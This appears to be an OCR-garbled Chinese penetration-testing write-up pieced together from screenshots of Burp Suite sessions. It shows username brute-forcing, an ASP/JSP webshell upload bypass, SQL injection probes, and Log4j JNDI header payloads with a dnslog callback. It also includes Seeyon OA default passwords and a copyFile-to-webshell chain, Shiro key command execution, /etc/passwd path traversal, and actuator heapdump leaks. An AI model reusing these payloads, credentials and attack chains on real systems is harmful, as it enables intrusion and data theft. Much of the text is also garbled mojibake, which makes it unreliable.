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i posT . :er/ActionAuthChain HTTP/1. 1

2 Host: com

3 Cookie: SESSION=87d50726-ebBb—-411f-9bf2-cad67f1243f3: _idp_authn_lc_key=2a%9d775c-8d58-4fdf-Fe3e—cc75d8bc576f; _idp_session=
MTEOL jgdL jgdL jE DBiN21 xMjdjZ jJmYz | 3Mzg10GMyQDNKZ j YyNmM1MmEwZ TY2ZMG%3D%3D%7CR7 £ 7Ddgd 7pr 20
Pq4XNRGZ3bV%2FZ :3D71DCD1623; AD_SESSION_FLAG=ad_flag

4 User—Agent: Mozilla/5 0 (Windows NT 10.0: Wind4: xé64: rv:109.0) Gecko/20100101 Firefox/117.0
5 Accept: */*

6 Accept-Language: zh-CN, zh;q=0. 8, zh-TW;g=0. 7, zh-HK;g=0. 5, en-US; g=0. 3, en; g=0. 2

7 Accept—Enceding: gzip, deflate

8 Content-Type: application/x—www—form-urlencoded; charset=UTF-8

9 X-Requested-With: XMLHttpRequest

10 Content-Length: 130

1

12

13 Sec-Fetch-Dest: empty

14 Sec-Fetch—Mode: cors

15 Sec-Fetch-Site: same-origin

16 Te: il
ACRLICL TS H— AR P Al
18 - j L e i

19 j_username=811118&;j password%tzﬂkVBo?cTstIKﬂdcchA%3D%304j checkccde:rusx&apzlugin&spAuthChainCode:cc2fdbc3599b4§aé9d5c82366525bb6b
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Filter: Showing all items @
Request Payload Status Error  Timeouf Length Comment
481 wangjing 200 8270
502 wangpeng 200 8270
263 chenmin 200 8268
275 chenyan 200 8268
493 wanglin 200 8268
439 mali 200 8262
68 administratorss 200 444
69 administrotor 200 442
102 gongchengshil 200 442
103 gongchengshi2 200 442
104 gongchengshi3 200 442
585 zhangfengying 200 442
RIT7 zhanatinatinn 200 AAD

Request Response

Pretty Raw Hex Render SRl

1 HTTP/1.1 200 OK

2 Cache-Control: private

3 Content-Type: text/html; charset=utf-8 .|’7 /i L 074
4 Server: Microsoft-115/7.5 =
5 X-AspNet—Version: 2.0.50727
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ERRRNKSERENGS, FULBREISHEELER
BRE X BRG] LERISH ST

B HRILER:
FEXHERBR: UploadFile
mEam: e 20 Ea 3
paiblaiid iad) S () AR 30720 kb
HE LEXAHES)
(B ) 2R rar,zip,jpg, gif, swf,mp3,rm,rmvb,ppt,wma,
ey BiAGRER ® wrMums O uBBfiR
ARER R ETS
s
BIBIRAFA
g TR LS v Y {2 N e
BEXETE: ‘

BEERIN aspx ST ZEE

AV EIER AR rar,zip,jpg.gif,swf,mp3,rm,rmvb,ppt,wma,wmv,mpg,asf,doc,xls,do
X EfEANRE: 30720K

EEEEEYA(EE): | EEE | ttaspx

1

oI Fesrppem (10 FE

R
S
BkIhgetshell
Pretty Raw Hex B n = Pretty Raw Hex Render B v =
1 POST /admin/Admin_upload.asp?action=upload&Mode= HTTP/1.1 24 <tr>
2 Host: 25 <td align="center" ID="strMsg" style="color:#FFoaea">
3 Content-Length: 539 &nbsp;
4 Cache-Control: max-age=@ </td>
5 Upgrade-Insecure-Requests: 1 26 </tr>
6 % 27 <tr=
7 Content-Type: multipart/form-data;
boundary=—---WebKitFormBoundaryrj rdwGFALMzATand 28 <td height="30" align="center"s>
8 User-Agent: Mozilla/5.8 (Windows NT 1@.@; Win&4; x64) AppleWebKit/537,36 RAFEERISHRE: rar, zip, jpg, gif, swf,mp3, rm, rmvh, ppt, wma, wmv, mpg, a
(KHTML, like Gecko) Chrome/114.8.5735.199 Safari/537.36 sf,doc,xls, doc,asp
9 </td>
29 <ftr>
38 <tr>
18
11 3 <td align="center">
12 M EERER: 38720K
13 </td>
32 </tr>
14 Connection: close EE] <tr>
15
16 =————- WebKitFormBoundaryrj rdwGFALMzAfa0d 34 <td align="center">
17 Content-Disposition: form-data; name="filel"; filename="tt.asp" WIEHE LR (ER):
18 Content-Type: application/octet-stream 35 <input type="file" name="filel" size=20>
19 <input type="hidden" name="filename">
20]<% Response.Write("Hello World!") %= |
21 Tt 4 36 </td>
22 Content-Disposition: form—data; name="filename" 37 <ftr>
23 El:)
24 C:\fakepath\tt.aspx 39 <tr>
25 mm—— WebKitFormBoundaryrj rdwGFALMzAfao0d
26 Content-Disposition: form-data; name="Submit,x" 48 <td align="center">
27 <input type="image" name="Submit" value="_L{&§" onClick="
28 55 filename.value=filel.value;" src="../Images/upload.gif">
20 mm——— WebKitFormBoundaryrj rdwGFALMzAfaod
1@ Content-Disposition: form-data; name="Submit.y" 41 </td>
31 42 </tr>
32 13 43 </table>
33 —m—me WebKitFormBoundaryrj rdwGFALMzAfaod—- 44 </Form>
34 45 </body=>

46  </html>
47 =<script>

</script> — i
<script language=javascript> WO ; .'.,'..!...-/ .
strMsg.innerHTML= o A i
YRfF BRI <br=ZrffiEtt: /UploadFile/ 202301218507.asp’
</script>
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sqliE NFEGHETE https://github.com/smxiazi/xia_sql

EFRERBEREZ MRS, RERESEREAMESFEIAN

|? ]mq]s;m_u] ?Tcanl—wi .Inlmdsr T R@] -Sncpsm:nr T.Ducodm T m IEnlanr I Progect options ]‘I}snr aptions R]WT xia Liao T xia P; Tm Pao_ap im;] xia Yno" I’m

|URL | EEakE

] Mtk & : Pk author: H&HT

=

Request | Respanse

¥ | & s | en paylead | BEEEME EfL | Ed | WER
] Proxy https-iisafe . 2712 end! v id 1 2666 Em 138 200

1 Proxy httpt101.1... 2658 end! ¥ Em id T 2667 vAEr 147 200

2 Froxy hitps:/www... 373279 end! ¥ id 11 261 133 200

3 Proxy IhttpsFwww... 753 endl v id 10 2658 v==>7 15§ 200

4 Froxy hitpsiispd... 405 end!

blogowww.nmd5. com
W% xia SOL V3D
S8 : Moonht . (& @48 « Shincehor
o) mahifier
| dEFZRepeater
o EhEProxy
o ERMFEN#T1. 0
L MiCookie
HTHE

NRZESHEHEMEER RF
WERERiEE

BihEER

27 payload B2 18 S todk
L] BiE payload

“[Bow ot [ [ [ o |

ol BE X pay TRuER

facript

htal

£ uzy
body

You have an errer in yvour SGL symtaxl: check the manual that corresponds to your MySQL server version for the right

syntax to use near ' at line 1

LIMIT 0.17

BRT A mEbAsh, BAIERTLIBEF AR IS. WEISEEEREE,

FURBEN AT REFESqLEN

Request

Pretty Raw Hex =

I POST /json/gotologin, aspx HTTP/1. 1

2 Host:

! Content-Length: 82

| Accept: application/json, text/javascript,
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64:
like Gecko) Chrome/107.0.5304. 107 Safar 37. 36

" Content-Type: application/x—www—form-urlencoded

*/%; q=0.01

Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! Connection: close

| action=u LISL'!'_\r_lFIIL‘U password=admin&u_code=1&t
0.579701628689934

\n

x64) AppleWebKit/537.36 (KHTML,

I HTTP/1. 1

L e LS

= y iz

and%201=1

aHFE

Response

Pretty Raw Hex Render

500 Internal Server Error
Cache-Control: private

} Content-Type: text/html:
| Server: Microsoft-11S/8.5
X-AspNet-Version: 2.0.50727

6 X-Powered-By: ASP.NET

Date: Mon, 04 Sep 2023 10:19:05 GMT

Connection: close

9 Content-Length: 4937

charset=utf{-8

.

1 <html>
Chead>
{title>
"admin' MEFIEEEIR.
<titler
Tstyler
body |
font-family: "Verdana™;
font-weight:normal;
font-size:. Tem;
color:black:
[ pl

font-family: "Verdana";
font-weight 3 )_‘:rn4~,r7 \ AL
color:blacki™~—/ 1~/ ~ =~ L
margin—-top:-bpx
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sqlmap—iBig

log4jfE{GHETF https://github.com/TheKingOfDuck/burpFakelP
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Request

Pretty lGEIVM \n Actions v

1(

AppleWebKit/537.36 (KHTML,
Safari/537. 36
11 Accept-Encoding: gzip, deflate
12 Accept-Language:
13 Connection: close
14 X-Forwarded-For:

16 Forwarded-For:
17 Forwarded: ${jndi:ldap://${java:version}. x. x. x. x}

18 X-Requested-With: ${indi:ldap://${java:version}.x. x. x. x}
19 X-Forwarded-Proto: ${jndi:ldap://${java:version}.x. x. x. x}
${jndi:ldap://$ {java:version}. x. x. x. x}
21 X-remote-IP: ${jndi:ldap://${java:version}.x. x. x. x}
${jndi:1dap://${java:version}. x. x. x. x}

20 X-Forwarded-Host:

22 X-remote—addr:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
like Gecko) Chrome/97.0.4692. 71

zh-CN, zh;q=0.9, en-US;q=0. 8, en-GB;q=0. 7, en;q=

https://mp. weixin. qq. com/s/s400LVugKe UazlNwr02Kg

Response

${jndi:1dap://$ {java:version}. x. x. x. x}
15 X-Forwarded: ${jndi:ldap://${java:version}. x. x. x. x}
${jndi:1dap://$ {java:version}. x. x. X. x}

Pls input ur ip
${jndi:ldapzﬂs{java:versiun}.x.x.x.xl—i

RE HGH

23 True-Client-IP: ${jndi:1ldap://${java:version}. x. x. x. x}

24 X-Client-IP: ${jndi:ldap://${java:version}. x. x. x. x}

25 Client-IP: ${jndi:ldap://${java:version}. x. x. x. x}
26 X-Real-IP: ${indi:ldap://${iava:version}. x. x. x. x}

IR N HE RIERY 0g4jiFiR

BEFEMNNERSdnslog FE BB KIEIRE,

dnslog3¥&

Request

Pretty ~ Raw  Hex 8

1 POST [TP/1.1

2 Host:

i Content-Length: 265

4 Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"

5 Accept: application/json, text/plain, */*

5 Content-Type: application/json;charset=UTF-8
Sec-Ch-Ua-Mobile: 2?0

Mozilla/5.0 (Windows NT 10.0; Win6d; x64)

like Gecko) Chrome/113.0.5672.893

8 User-Agent:
AppleWebKit/537.36 (KHTML,
Safari/537.36

9 Sec-Ch-Ua-Platform:
10 Origin:

1 Sec-Fetch-Site:
12 Sec-Fetch-Mode:
13 Sec-Fetch-Dest:
4 Referer: .

> Accept-Enceding: gzip, deflate

& Accept-Language: zh-CN,zh;g=0.9

"macOS"

same-origin
cors
empty

Pretty Raw Hex Render

11 Pragma:
12 Vary: Origin

F A ceyes & B5E

Response

1 HTTP/1.1 200 OK

2 Server: nginx

i Date: Mon, 22 May 2023 00:59:21 GMT

4 Content-Type: application/json;charset=UTF-8

Cache-Control: must-revalidate
0 Expires: 0

no-cache

no-cache, no-store, max-age=(,

i Vary: Access-Control-Request-Method

14 Vary: Access-Control-Request-Headers

5 X-Content-Type-Options: nosniff
6 X-Xss-Protection: 1; mode=block

18 {

17 X-Forwarded-For: ${jndi:ldap://s .tech} "msg” : "BHEBE &M,
18 Connection: close "code":500
..' }
{
"userna
"passwc
"EQObZFE :kIg04RIy/8B4ua/vJabu
gRV1Ple u05g0m wzErUbCOWx
QfJa¥ct iZh/GH3GZEeM="
"code™:
"uuid”: 5133m
}
@ € |[>] | search... Omatches  (2){0} (€ > | Search. 0 matches
Done
p— - 5
0 A=mEis C RiFFl= WRARRxUT Q
H'E' 3&‘ lﬁﬂ i /‘-‘rgl'.f/ | .—J_ f:
1 stvfa ax.tech 122. 195 2023-05-22 08:59:22

RFEFIANOS+ER1dayimRFIA

PEELR L ERAINE,
BELT, BEFITLURBRFENEADS

~MeEEEFANRIS iﬁ'ﬁflﬁlf@%ﬁ’/“ . REHERIEIE
—clcq‘lCia)/

177A
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NEKEFEEEIAOS admin/admini23

+ PRENRR X

e * & OB

\ Lo

] e e Es ] AR hiTFizst ESAS i 0
100 test i org.yami snakoyamil. Y o0 O 2023-09-12 11:32:04
O 4 Einstil (X£) B ryTask ryNoParams (/14 [ RARLE J (@) 2023-09-11 10:58:52
5 it o .
2 RN (F79) (T3] ryTask ryParams{ry 5 o T23-00:11 10:59:52
*f\wﬁ
E) 3 R (£2) Bk ryTask ryMultiplePar 23-00-11 10:50:52

B 1 B 4 BB, L4 Kis 0

ﬂ \ s
w10\ Exea

REHEFNUWEIOARSE, EOARRENTEA—TRKFREHMNET T, HLGXM
OARZEABESFERNAN AR

MAOS

EAEEHER: system/system
SEHEER(A8-v5EHIR) group-admin/123456
BT R (A8-V5RIER) admin1/admin123456
HItSER(FFEhRA) audit-admin/seeyon123456

T 33| 2024/7/28 21:59



Firefox https://mp. weixin. qq. com/s/s400LVugKe UazlNwr02Kg

Q|
& HiEErT e, GHRERANE L o
SEEOILUETR, FETR -

al BECHFFNEREE o 2 A

RIS ERAKSEREREREER, AkxE FEAIERIKEcookie

POST /seeyon/rest/authentication/ucpclLogin HTTP/1.1

Host:

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101
Firefox/78.0

Content-Length: 71

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip

UserAgentFrom=xx&login username=audit-admin&

login_password=seeyon123456

SKENcookieZ IR AT LAMER+N T BFTHE &R TRAFI A, XRERcopyfileiX
[FaiE

B ERMXNmEFE—ERR, SAwebshel B {&RE T

POST /seeyon/ajax.do?method=ajaxAction&
managerName=portalCssManager&rnd=111 HTTP/1.1
Accept: */*

Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 70

Host: 192.168.91.17

Connection: Keep-Alive

User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0 321)
Accept-Encoding: gzip,deflate

arguments=%5B%22xxxxxx%22%5D&
managerMethod=generateCssFileByCssStr
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= B —_

Response m =
Raw Hender \n Actions v =
wn

1 HTTP/1.1 500 2
2 Pragma: No-cache EJ
3 Cache—Control: no-cache o
4 Expires: Thu, 01 Jan 1970 00:00:00 GMT o

5 Content-Type: application/json;charset=UTF-8

6 Content-Length: 757

7 Date: Wed, 28 Dec 2022 02:42:07 GMT

8 Connection: close

9 Server: SYB045

10

11
"message”: "com. fasterxml. jackson. core. JsonParseException: Unexpected character ('3' (code 51))
ec. SecretKeySpec\"”) ; java. lang. ref lect. Constructor<{?>constructor = aClass.getConr—guctprﬁbgigil
"code" : "2195327527", LN 2=
"details":null

AEFFIMEEIA—T, fuzzxKIEXNE|SHSE, TEJRIE \ R, EEEMBRY
[ARRE SN T

o Sseeyonfgi2 N=404, FILIREZR|rootHRT

o webshell X5 | SHEZFIEMARFHL, B « #ia% \"
o SHNNHFERESZRINER, EUSEHIKW

o // IEREFHITIT

L3 —ENAURTE, HmZEIIgetshell

Burp Project Intruder Repeater Window Help

Dashboard Target F Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User oplions. Autorize APIKit
1« 2« | 3 A 5 =

Bl o <- Target: hitp://192.168.159.18:81 7 (T
=. =
Request Response m -
oy [ n Actions v FTT™E Raw Ronder  \n Actione s =
Y] w
POST /seeyen/a jax. do?method=a jaxAc nagerdrnd=| = =
7 Accept: */* BUEE #YEE 2
3 Content-Type: application/x—www—form-ur lenceded:charset=UTF-8 o
=

1 Content-Length: 122

5 Host: 192 168. 159. 18:81 F-8
& Connection: Keep~Alive URL tps//192.168.158.18:81/3sp
7 User-Agent : Apache—HttpClient/d 5 13 (Java/1, 8. 0_321) =5 prr
B Cookie: JSESSIONID=262000B9231B92B2F 3A9636IB6CBLEIB; hostname=192. 168, 150 1
login_locale=zh_CN; avatar ImageUr |=-4506994641919393148 = ey
¥ Accept—Encoding: gzip, deflate P 3000
11 arguments= R i
55BN22336431431 bappsh2Froot PO
managerMethod=copyF i le Success!
eimil] o
w ==
GROUP ’
L= NO_PROXY
L] UTF-8
L] JavaDynamicPayload =
o JAVA_MES BASEEd w
L -4 L ad ]
NGO ra =
) 1 AT R
@@ €= || =¥|| Search 0 matches @4:6} €| =»|| Saarch 0 matches
Done 270 bytes | 1,007 millis

E_M-‘i, X?%SIOAE]’\JEXU\EK%%“EEE sysadmin/1 sysadmin/Weaver@2001 %%
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ZoERMmiIIshirokEid

=
-v-vv- -

R A shirofg 4!
{5 afrog . Wappalyzer FIESURBIBR BRI ZEZIRBshirofEZE

English
TECHNOLOGIES MORE INFO # Export

JavaScript {E48 JavaScript E

¥ Vueis & core-js 2611

& jQuery 211
=2

REE

© Noinx

BARRE (U) ER

(2 Element Ul

IMELAEER hae TR ENIAER B MUSIFIE

https://github.com/ghOstkey/HaE
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Attack Save Columns

Results Positions Payloads Resource pool Settings

% Filter: Showing all items

Request Payload Status code  Error Timeout Length Comment
451 admin1 200 574 Shiro (1)
501 admin888 200 574 Shiro (1)
577 sys 200 574 Shiro (1)
440 abc123 200 566 Shiro (1)
594 test01 200 565 Shiro (1)
597 testl 200 565 Shiro (1)
593 test 200 544 Shiro (1)
1 chenbin 200 543 Shiro (1)
2 chenbo 200 543 Shiro (1)
3 chenchao 200 543 Shiro (1)
4 chenchen 200 543 Shiro (1)
5 chenfang 200 543 Shiro (1)
6 chenfei 200 543 Shiro (1)
- " L] Lol ) ~ - [ERY
Request Response
Pretty Raw Hex Links
3 Vary: Access—Control-Request-Headers
9 Access—Control-Al low—-Origin: *
10 Set—Cookie: JSESSIONID=f73156ae-e ~-4fa2-80f3-daB4db13f7be; Path=/cloudIntercom; HttpOnly !’ﬂ./l if;,{:,

11 Set—Cookm'[rememberMeZdeleteMe: ath=/cloud|ntercom; Max—-Age=0; Expires=Mon, 04-Dec-2023 08:36:21 GMT
2 Strict-Transport-Security. maxzlge=31536000

WAF=& 5T

ERTERNZkey, BF|BAERKIHRE=E T, THRMNubAIMRI=8T

o it \ %2

BAiprsh, TRERFIIAT, ESAburpFixre, BREBNKT, #5
burp s EZFTIEGE T

M yakit BEIEE AR, BUETEER burp BEHIRE T, XAHEERIRIEEN
githubTiB, EEZHX—T

https://github.com/sleeyax/burp-awesome-tls

REFEMRT, burpigSUFIERIRA, MERI=E
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ERBEMRERENE

Request Response

Raw Hex n = Pretty Raw Hex Render n =
1 GET /cj/ HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: org.cn

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé4; rv:109.0)
Gecko/20100101 Firefox/117.0

BowR

4 Accept: 3
text/html, application/xhtm|+xml, application/xml:q=0. 9, image/avif, image/webp, * [}
/%*:.q=0.8

5 Accept-Language: zh—CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK;g=0. 5, en-US;g=0. 3, en;g=0. 2
& Accept-Encoding: gzip, deflate. br

7 Upgrade-Insecure-Requests: 1

& Sec-Fetch-Dest: document

9 Sec-Fetch-Mode: navigate

- o0 m ~

X~-Content-Type-Options: nosniff
X—Xss—Protection: 1;mode=block

10 Sec-Fetch-Site: none 3 X-Frame-Options: SAMEORIGIN

11 Sec-Fetch-User: 1 4 Content—Secur ity—Policy: child-src http: https:

12 Te: trailers 5 Content-Security-Policy: default-src * 'self' 'unsafe-inline' data:;

13 Connection: keep-alive worker=src * 'self' ‘unsafe-inline' blob:; style-src * 'self’

14 ‘unsafe=inline’: img=src * 'self' 'unsafe-inline' data:; font-src data: *

15 'self' 'unsafe-inline'; frame-ancestors 'self’; script-src * 'self’
‘unsafe—inline’ 'unsafe-eval® bsedu.org cn:
14 Strict-Transport—Security: max—age=31536000; includeSubDomains
17 Strict-Transport-Security: max—age=63072000; includeSubDomains preload
18
19
20 <!DOCTYPE htm| PUBLIC "-//W3C//DTD XHTML 1.0 Trar * Zeona W ENT ) s
"http: /www. w3, org/TR/xhtm| 1/DT0D/xhtm|1-transit i okw ) ,d"_ 'SV = :;
i <html xmlns="http://wew. w3. org/1999/xhtm| "> -
<head>

3

RZZE1d OPTIONS 1B5kA + BSHIRE uri R + fEpayloadikEMINZd
WAF

S payloadiKEr]EH aratn IMERIIIE https://github.com/antiRookit
/ShortPayload

EkIgetshell
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MemoryShell Shellcodeloader SuperTerminal HttpProxy lemon EfsPotato Mimikatz BadPotato ShapWeb PortScan

BRHES BT XHEE BoEREE |ic PR EHrEEE

(e 2 lllemd /c *{command)® 2> &1

YsoERIFETELEWshiroRA

HA BIRATEEE— shirolER 5%, Bl T BRUEIFERAE
%H kPH+bIxk5D2deZiIxcaaaA==

BR C:\WINDOWS\system32\cmd.exe - java -jar shiro_tool.jar http:/, .130:8080

enter back

FEJRMPFIFGI, {BJIRMPHATEE

TTHEEE: YsoEIHRICBYERRAH B FFR S CB SR AR — B
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JSIRACE L2 15 M BR A Bl iZE AN TR

fuzzRKiZNwebpackiZ[
ARERIE—aERR s—EFEHIM.map

curl -O http://xx.xx.xx.xx/\*.js.map

Z}E%Ti‘z—ﬁ\js.map, {ﬁﬁﬁ reverse-sourcemap i&fi’i&]ﬁ

npm install --global reverse-sourcemap
reverse-sourcemap --output-dir £HIER app.6804b239.js.map

] SEBMARZNA RO TH—ZHIFI A
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EREAREEE, REUSHIERIFAFHEE burp#tiTiuzz

ueditorfmigsSimiRIER
BERG, XWER T ueditorB
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HEERFHITIER ueditor, KHueditorigi

1iERERE L 1.jpg?.aspx

invalidPattern.Replace R EIT ITE B RS R /9 1.jpg.aspx, [
I Getextension() BRI BE aspx xEIREIEFHASER

I 5ifh S 3FfEIRIEE
EjsE8, RAMLERE HRIRETs3FMEREIBIE
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HIENZMHE A IR NosuchBucket , R LS

This XML file does not appear to have any style information associated with it. The document tree is shown below.

[fORsTrvotJaf221aNjlg=</Hostld

YN

Sz EMENAFERE, BEABNNBMRMXET, RERRXLESE

ﬂﬂ UnauthorizedAccess

@ BRETaRACE S3 e, LURMBRE, REMEE, NREhBREaee e AR, SR,

Amazon 53 X

3

el - W SiEEE B v instil v e

MMES R FEIEBEwarigetshell
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tEZRIR A
RIEIREIRY rememberme FRTAshirofEZE
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EimiTEED

[BRAK, SAMNRFEMAEAF, WsEE2BEER download upload XEFER,
B EERENE LEEOZERE

BEFAARATER, JERERRINEAIEIRE, MAEENEREOR, XEHEMaLSE

METAsRZ
BIXBHATEIIIEER download , KM—MEGERRITEREO, HEBERIDHTER
S8R

s DEGE N EE () oREE O e O s 5

YN S

shirof¥pR&EE

HEBEEDOANEEEREER, XHRARMEREIEEEE, BES—EA
BER N PRIA)ER

XEHEEZshirolEZRB NS 2R BRAIR, IHMENRSY
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shirotNfREad 54T https://xz.aliyun.com/t/12643

BEEREZESEERIER

resources/js/xxxxxx/downloadFile?url=/../../../../etc/passwd

/../eI 5
resources/js/xxxxxx/..;/../../downloadFile?url=/../../../../etc/passwd

B /. .5/ PRTISEEENIH

==
Request Response 2
Raw Hex Wn = Raw Hex Markinfo n =
1 GET . =./.. 4/ /. fete/hosts HTTP/1. 1 1 HTTP/1.1 200
2 Host 2 Server: nginx
3 Accept: #*/# 3 Date: Thu, 09 Nov 2023 03:01:3B GMT
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537. 36 4 Gontent-Type: text/plain;charset=utf-8
(KHTML, |ike Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0 5 Connection: close
5 X-Requested-With: XMLHttpRequest 6
& Referer: 7 Content-Disposition: attachment:filename=../. . /. ./ ./ . /etc/hosts
7 Accept—Encoding: gzip, deflate, br & Content—Language: zh-CN
8 Accept-Language: zh—CN, zh;g=0. 9. en:q=0.8, en—GB;q=0. 7. en-US:q=0. 6 9 Content-Length: 118
% Gonnection: close 10
0 11 127.0.0.1 localhost localhost. localdomain localhostd localhostd. localdomaind
1 12
Attack Save Columns
Results Positions Payloads Resource pool Settings
7 Filter: Showing all items.
Request Payload Status code  Error  Timeout  Length Comment
40 Auf o fetcfhttpd/conf/htt.. 200 34702 Linkfinder {18), Authorization...
0 200 9305 Linkfinder (1)
250 200 9305 Linkfinder (1)
12 Aot A A fprocjselifenviron 200 2902 JSONP Response (1), Internal ... g ,;’7 | 1,
&6 ol of of o fetc/hosts 200 364 Internal IP Address (2) o A [ 45 P R
218 Aod A A Mvarflogfmaillog 200 3509 Internal IP Address (1)
125 Aot Sete/ohpini 200 69347 Email (2), Linkfinder (5), Wind...

BB RS BB AR, FiIBREgetshell, ZiEHUEEZR, (BfAfEKRO
RILARIIINFIL

XAHMREEMER AIN8080im 2 AT, BEHFER /conf/tomcat-users.xml 3
4, KEtomcatfyZfg

ERARERIKSERER, B war@pkligetshell
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| Payload:JavaDynamicPayload Cryption] AVA_AES BASEG4 openCache:true useCachesfalse
PetitPotam MemoryShell ShellcodeLoader Screen SuperTerminal IMeterpreter HitpProxy ServletManage JarLoader
Bifse o FHT Mt I Eic A TEHREE
SHLVL & 1
JAVA_HOME : fusr/lib/jvm/java-6-openjdk
BOOT_IMAGE : /live/vmlinuz
JAVA_OPTS : -Djava.awt.headless=true -Xmx128m -XX:+UseConcMarkSweepGL -Djava.util.logging.manager=org.apache.juli.ClassloaderLogManager
PWD : /var/lib/tomcaté
LINES : 25

INIT_VERSION :
TOMCATE_USER :

initrd :
MODULE

CATALINA_BASE :

runlevel : 2

LD_LIBRARY PATH :
OLDPWD
COLUMNS :
SHELL :
rootmnt :
boot
VERBOSE :

sysvinit-2.88

tomcate
flive/initrd. img

: filesystem

: fusr/share/tomcat6/bin/catalina.sh
fvar/lib/tomcaté

fusr/1lib/jvm/java-6-openjdk/jre/lib/amd64 /server: fusr/lib/jvm/java-6-openjdk/jreflib/amd64: fusr/1lib/jvm/java-6-openjdk/jre/../lib/amd64

i ftmp/tomcat6-tomcaté-tmp

L]

/bin/sh
/root
live

no

previous : N

JSSE_HOME :
UNIONTYPE : aufs
inmit : /sbin/init
image :

PATH :

fusr/lib/jvm/java-6-openjdk/jre/

flivefimage/live/filesystem.squashfs

/bin:fusr/bin: fsbin:/usr/sbin

MNEUREUEEENES XM L&
HEHY 09 S

Foo2m 33T

BER, W HARLEXXX  XXXZA T
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K3t
o SREURIBEFEAMLISIRIER N4 E1Ei1XKBEgetshel IFYIRIE
e BE web.xnml EE .saveas upload EEIRIAN A, BTEX ML, FH11E

TR A IFL 21 _EIErYEO

YA NS

EEJ\E PreviewImageUploadServlet.class
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EMRTFHIIERE, BAR  /ing/faces , MRBEKRPEERFA rath S, N
BRERZRENZSHE

elEE— MultipartRequestParser soE|, BTFETESK, HBEREE
£ PreviewImageInfo XYZRHH

Previewlmagelnfo info = (Previewlmagelnfo)parser.parse(request,
"com.chinasofti.ordersys.servlets.common.Previewlmagelnfo");

ERiH PreviewImageinfo.class , JXBAHITIEIE, BFENTUGERREEELLE

o5l 333

=
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test

Burp Project Intruder Repeater View Help urp Suite Professiona
Dashboard Target Proxy Intruder Repeater Decoder Extensions Learn
1= +

=BG o <

Request

Pre Raw Hex Links wm =

1 POST /4 order HTTP/1.1

2 Host: localhest:B081

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wint4; xé4; rv:109.0) Gecko/20100101
Firefox/119.0

4 Accept:
text/html, application/xhtml+xml, app|ication/xml;q=0. 9. image /avif, image/webp, */*
:g=0.8

5 Accept-Language: zh-CN, zh:q=0. 8, zh-TW.q=0. 7, zh-HK:q=0.5, en-US:q=0. 3, en:g=0. 2

& Accept-Encoding: gzip., deflate, br

7 Connection: close

8 Content-Type: multipart/form—data
boundar y=———WebKi tFormBoundar ye8FPHs | AqPJNE jZA

7 Content-Length: 211

10

1 WebKi tFormBoundaryeBFPHs | Ag9JNE j2A

12 Gontent-Disposition: form—data; name="uploadFile";filename="test. jsp"

13 Gontent-Type: image/ jpeg

14

15 <hout. print ("test”) ;%>

- e WebK i tFormBoundar yeBFPHs | Ag?JNE j2A—

17

https://mp. weixin. qq. com/s/s400LVugKe UazlNwr02Kg

aMSOL xia Yue APIKit Sweet Potato HaE
Target: http://localhost:8081 /5
==
Response -
Raw Hex Links E n =
1 HTTP/1. 1 200
? Set—Cookie: JSESSION|D=601CAS46506004E TBA1A76B00741A108; Path=/ordersys; HttpOnly

3 Content-Length: O

4 Date: Thu, 30 Nov 2023 07:58:13 GNT
5 Connection: close

6

BiFE RS MactuatorF| B LRI T8
BEEbUpHREREMAALFERER /eateway HDO

FEREHITERIAERI —# actuator InmR, FRASEHHAY L NBESIKFTHRI

Fo6T FL33T
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sway/actuator

"_links”
“self"
“href"
“templa

“archaius
“href"
“templa

"nacoscon
“href"
“templa

"nacosdis

“href"
"templa

"beans"” . {;7 L#f' —
~ CaANEL o
“"href" Ea— =
“templa

heapdumpiittzE
SHMEMMITAF, RIEFE heapdunp HE, FRTEEEMETEMHARS

https://github.com/whwlsfb/JDumpSpide

R —LEIRSED, BHREERNTEERN A

ud.nacos.confi er-addr = http://192.168.
rofiles.active =
.application.name = gateway

ed.ip.delete.timeout = 5000

o Z =%

BRENFIHY S, CEEAZROMUrIHRIRZZBurpitER—T, XEH&RAI—
ANALIRGEMZEO, BEEX!
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Request Payload Status co... Error Timeout Length Comment
41 || sl e sysUser/register 200 665
42 .. = 5sysUser/uis/validate 200 652
61 B e m/lOGIN 200 646
40 e mmmgeysUser/login 200 624
33 = == mamsAppDat/admin/logo 200 612
34 - we m amsAppSubDat/info 200 612
36 | S imsDevice/syninOutDeviceBylnstance 200 612

Request Response

Pretty Raw Hex Rende

1 l’iTTPf1,1 200 0K

2 Server: nginx/1.24.0

3 Date: Sun, 15 Oct 2023 10:17:05 GMT

4 Content-Type: application/json;charset=UTF-8

5 Content-Length: 101

& Connection: keep-alive

7 Vary: Origin

B Vary: Access-Control-Request-Method

9 Vary: Access—Control-Request-Headers

10 Access—Control=Allow0Origin; = = Ll
11 Access—Control-Allow—Credentials: true

12 Cache—-Control: no—cache, no-store, max—age=0, must-revalidate
13 Pragma: no-cache

14 Expires: 0

15 X-Content-Type-Options: nosniff

16 X-Frame-Options: DENY

17 X-XSS-Protection: 1 ; mode=block

18 Referrer-Policy: no-referrer

19

20 [

"code" :424, p o N i
"data”:null, [ [4/ e

“message”:"AFBAFPEFIFHRTF, B8, 2-3210FHLA"

IR PIREY tokenEiE
FERZEOCIZERF

BEIZERIRFPAEERERIIARS, EYLABTHIERIIKEIAE token Tk
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A EGEONEERtokenTILERBZEOER, KEUKE B 8UREHE

W, 7l A

'_ // e

MnacosiFERARiTMIAIEEEI=

HVVeREZRInacos, £5 ETFEENMEERNEN, XERFHK!

FELUFAE HTTP Status 404 - Not Found DAJ% 88483 [
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com:8848

EHi%ipa404, $HE nacos BETLUERIBRRESR

BF

